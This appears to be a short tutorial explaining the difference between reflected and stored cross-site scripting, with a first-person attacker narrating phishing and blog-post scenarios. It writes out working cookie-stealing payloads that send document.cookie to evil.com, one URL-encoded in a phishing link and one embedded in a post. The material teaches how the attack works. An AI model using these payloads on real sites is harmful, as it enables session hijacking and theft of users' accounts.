What is Reflected XSS?
So let's say you navigate to www.example.com/page?main.html and it puts you on the main page of example.com. Now you navigate to the index, which is located at www.example.com/page?index.html. You start to wonder, what other pages are there?
So you type in www.example.com/page?foo and hit enter, and you get an error page which will say something like "Resource foo is not found".
The thing to note here is that you put a parameter into the URL, and that parameter got reflected back to you as the user. In this case, it was the parameter "foo".
Now the idea behind reflected XSS should be a bit more clear; instead of inputting a lame parameter like "foo", you input something like
I send a victim a link to
http://example.com/page?var=<script>alert('xss')</script> and somewhere on the page that value is echoed back to the victim. The value is only on the page if they follow my special link.
The downside of this type is I have to specifically attack one victim or a group of victims who I can get to click on a link. It may be hard to get another person to follow your link.
I find a way to get a website to persist
<script>alert('xss')</script> for some time, maybe in the database. Then I can send the victim to
http://example.com/page and it reads the value out of the database and presents it to the victim.
The upside of this type is it will attack everyone who views the page.
If a hacker can get this to render on another site she can collect all the user cookies for any victim that loads such a page on that site. Reflected XSS and Stored XSS (or Persistent XSS) are two different methods for getting this script to show up on a vulnerable site.
Reflected XSS Example
I am a hacker and I send out a phish email with the following body.
Check this out: http://weak-site.com/search?keyword=%3Cscript%3Ewindow.location%3D%27http%3A%2F%2Fevil.com%2F%3Fvictimcookie%3D%27%2Bdocument.cookie%3C%2Fscript%3E
Stored XSS Example
I am a hacker and I create a blog post on weak-site.com with the following content:
LOL :p. <script>window.location='http://evil.com/?victimcookie='+document.cookie</script>
If the site renders my post intact, I can collect the cookie value of every user who views my post.